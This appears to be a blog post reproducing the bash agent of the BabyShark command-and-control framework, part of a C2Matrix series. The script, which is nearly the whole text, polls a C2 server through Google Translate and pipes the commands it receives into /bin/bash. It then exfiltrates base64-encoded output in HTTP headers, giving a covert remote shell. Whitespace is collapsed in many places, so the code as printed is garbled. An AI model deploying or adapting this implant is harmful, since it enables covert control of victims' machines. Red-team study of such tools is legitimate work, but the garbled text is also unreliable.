C2Matrix - BabyShark（八）

#!/bin/bash
if [[ $# < 2 ]];thenecho -e "ErrornExecute: $0 www.c2server.com secretkey-provided-by-the-servern"exitfi
running=truesecretkey="b4bysh4rk"user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"data="Content-Hype: "c2server="http://babyshark/momyshark?key=$secretkey"result=""input="/tmp/input"output="/tmp/output"
functionnamedpipe(){rm"$input""$output"mkfifo"$input"tail -f "$input" | /bin/bash 2>&1 > $output &}
functiongetfirsturl(){  url="https://translate.google.com/translate?&anno=2&u=$c2server"  first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )} 
functiongetsecondurl(){  second=$(curl --silent -L "$first" -H "$user_agent"  | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')}
functiongetcommand(){if [[ "$result" ]];thencommand=$(curl -L --silent $second -H "$result" )elsecommand=$(curl -L --silent $second -H "$user_agent" )
    command1=$(echo"$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)    command2=$(echo"$command" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2>/dev/null )if [[ "$command1" ]];thencommand="$command1"elsecommand="$command2"fifi}
functiontalktotranslate(){  getfirsturl  getsecondurl  getcommand}
functionmain(){  result=""sleep 10  talktotranslateif [[ "$command" ]];thenif [[ "$command" == "exit" ]];then      running=falsefiecho$commandecho -n > $output    idcommand=$(echo$command | cut -d '#' -f2)echo"$command" > "$input"sleep 2    outputb64=$(cat$output | tr -d '00'  | base64 | tr -d 'n'  2>/dev/null)if [[ "$outputb64" ]];then      result="$user_agent | $outputb64 | $idcommand "      talktotranslatefifi}
namedpipewhile"$running";do  maindone